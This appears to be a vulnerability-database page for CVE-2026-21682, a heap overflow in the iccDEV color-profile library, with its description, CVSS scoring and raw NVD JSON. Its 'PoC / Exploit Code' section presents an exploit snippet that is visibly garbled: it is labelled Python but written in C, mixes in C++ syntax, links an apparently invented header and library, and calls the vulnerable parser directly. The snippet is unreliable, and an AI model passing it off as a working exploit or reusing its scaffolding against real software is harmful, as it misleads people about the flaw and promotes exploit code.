Security Vulnerability Report
中文
CVE-2026-21682 CVSS 8.8 HIGH

CVE-2026-21682

Published: 2026-01-07 21:16:01
Last Modified: 2026-01-14 18:47:44

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a heap-buffer-overflow in `CIccXmlArrayType::ParseText()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <icc.h> /* * CVE-2026-21682 PoC - Heap Buffer Overflow in CIccXmlArrayType::ParseText() * * This PoC demonstrates the heap buffer overflow vulnerability in iccDEV library * versions prior to 2.3.1.2 when processing malicious ICC profile files. * * Usage: Compile and run with a vulnerable version of iccDEV library * gcc -o poc_cve_2026_21682 poc_cve_2026_21682.c -licc */ #define MALICIOUS_DATA_SIZE 10000 // Data exceeding buffer size int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <malicious_icc_profile.xml>\n", argv[0]); return 1; } const char* malicious_file = argv[1]; printf("[*] CVE-2026-21682 PoC - Heap Buffer Overflow\n"); printf("[*] Target: iccDEV < 2.3.1.2\n"); printf("[*] Function: CIccXmlArrayType::ParseText()\n"); // Load and parse the malicious ICC profile CIccProfile* profile = CIccProfile::Load(malicious_file); if (profile == NULL) { printf("[-] Failed to load profile\n"); return 1; } printf("[+] Profile loaded successfully\n"); // The vulnerability is triggered during XML parsing CIccXmlArrayType* arrayType = new CIccXmlArrayType(); // Create malicious XML content with oversized text data char* malicious_xml = malloc(MALICIOUS_DATA_SIZE + 100); memset(malicious_xml, 'A', MALICIOUS_DATA_SIZE); malicious_xml[MALICIOUS_DATA_SIZE] = '\0'; printf("[*] Attempting to parse malicious XML array data...\n"); // This call triggers the heap buffer overflow bool result = arrayType->ParseText(malicious_xml); if (result) { printf("[!] Parsing completed - possible overflow detected\n"); } free(malicious_xml); delete arrayType; delete profile; return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21682", "sourceIdentifier": "[email protected]", "published": "2026-01-07T21:16:01.380", "lastModified": "2026-01-14T18:47:43.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a heap-buffer-overflow in `CIccXmlArrayType::ParseText()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del Consorcio Internacional del Color (ICC). Las versiones anteriores a la 2.3.1.2 tienen un desbordamiento de búfer de montón (heap-buffer-overflow) en 'CIccXmlArrayType::ParseText()'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/178", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/229", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-jq9m-54gr-c56c", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}